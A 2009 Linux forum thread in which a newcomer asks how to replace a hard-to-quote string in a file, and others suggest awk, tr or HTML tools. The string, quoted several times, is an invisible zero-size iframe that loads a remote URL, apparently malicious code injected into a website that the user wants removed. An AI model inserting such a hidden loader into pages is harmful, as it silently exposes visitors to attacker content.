LinuxQuestions.org
Latest LQ Deal: Linux Power User Bundle
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Reply
  Search this Thread
Old 10-21-2009, 03:54 AM   #1
Un!x85
LQ Newbie
 
Registered: Oct 2009
Posts: 4

Rep: Reputation: 0
Question About Replace Command With Strings


hello

i have a code i want to replace with another text

the code is

Code:
<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe>
i tryin to replace with the following command

Code:
root@server [~]# replace '<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe>' 'newtext' -- file.txt
but can't replace it , because the code have alot of string ' and " so the replace not working with it

how can i replace the code wit all the strings and symbols included ?

thanks
 
Old 10-21-2009, 04:15 AM   #2
zhjim
Senior Member
 
Registered: Oct 2004
Distribution: Debian Squeeze x86_64
Posts: 1,748
Blog Entries: 11

Rep: Reputation: 233Reputation: 233Reputation: 233
Seems a bit tricky. Only way I could get it to work was with awk
Code:
awk '/<iframe frameborder="0"/ { print "newtext" }'
Nother thing to try is to have all the ' substitude with \' but sed wasn't to good to me in the first shoot.
But as you want to substitute the whole line in any way you could just remove the ' from the string and then replace.
Code:
tr -d "'"
Hope that helps
 
Old 10-21-2009, 04:23 AM   #3
lutusp
Member
 
Registered: Sep 2009
Distribution: Fedora
Posts: 835

Rep: Reputation: 102Reputation: 102
Quote:
Originally Posted by Un!x85 View Post
hello

i have a code i want to replace with another text

the code is

Code:
<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe>
i tryin to replace with the following command

Code:
root@server [~]# replace '<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe>' 'newtext' -- file.txt
but can't replace it , because the code have alot of string ' and " so the replace not working with it

how can i replace the code wit all the strings and symbols included ?

thanks
1. You should be using something other than "replace". "replace" doesn't know about regular expressions and is pretty lame.

2. Why not post an actual example with the original text and your desired replacement, so someone can address the problem?
 
Old 10-21-2009, 04:41 AM   #4
Un!x85
LQ Newbie
 
Registered: Oct 2009
Posts: 4

Original Poster
Rep: Reputation: 0
Quote:
Originally Posted by zhjim View Post
Seems a bit tricky. Only way I could get it to work was with awk
Code:
awk '/<iframe frameborder="0"/ { print "newtext" }'
Nother thing to try is to have all the ' substitude with \' but sed wasn't to good to me in the first shoot.
But as you want to substitute the whole line in any way you could just remove the ' from the string and then replace.
Code:
tr -d "'"
Hope that helps
could u provide me the full example command on the code

Code:
<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe>

Code:
1. You should be using something other than "replace". "replace" doesn't know about regular expressions and is pretty lame.

2. Why not post an actual example with the original text and your desired replacement, so someone can address the problem?
i have no idea about any other commands beside than "replace" , and this is the actual code i want to replace

Code:
<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe>
 
Old 10-21-2009, 05:58 AM   #5
Un!x85
LQ Newbie
 
Registered: Oct 2009
Posts: 4

Original Poster
Rep: Reputation: 0
hello

maybe if someone write a bash script about it , if this code can't replace in one command single line

thanks
 
Old 10-21-2009, 06:47 AM   #6
catkin
LQ 5k Club
 
Registered: Dec 2008
Location: Tamil Nadu, India
Distribution: Debian
Posts: 8,576
Blog Entries: 31

Rep: Reputation: 1195Reputation: 1195Reputation: 1195Reputation: 1195Reputation: 1195Reputation: 1195Reputation: 1195Reputation: 1195Reputation: 1195
HTML syntax is not amenable to generalised awk, bash or sed solutions because line ends are simply token separators so it is very difficult to write awk, bash or sed (line-orientated) solutions to parse HTML into its elements and modify them. For this reason, specialist HTML utilities are a better choice for automated HTML editing.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Search and replace strings in text files in C Completely Clueless Programming 5 09-15-2009 07:51 PM
Using tr to replace strings in a group of filenames Lemmings Linux - Newbie 7 05-21-2008 12:00 PM
Grep search & replace strings with backslashes? ziphem Linux - Newbie 4 10-21-2007 05:36 PM
Using ; in command strings question. Thaidog Linux - General 2 04-21-2007 08:01 PM
Search and Replace with multiple-line strings ChristianNerds.com Programming 4 08-21-2005 03:32 PM


All times are GMT -5. The time now is 04:40 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration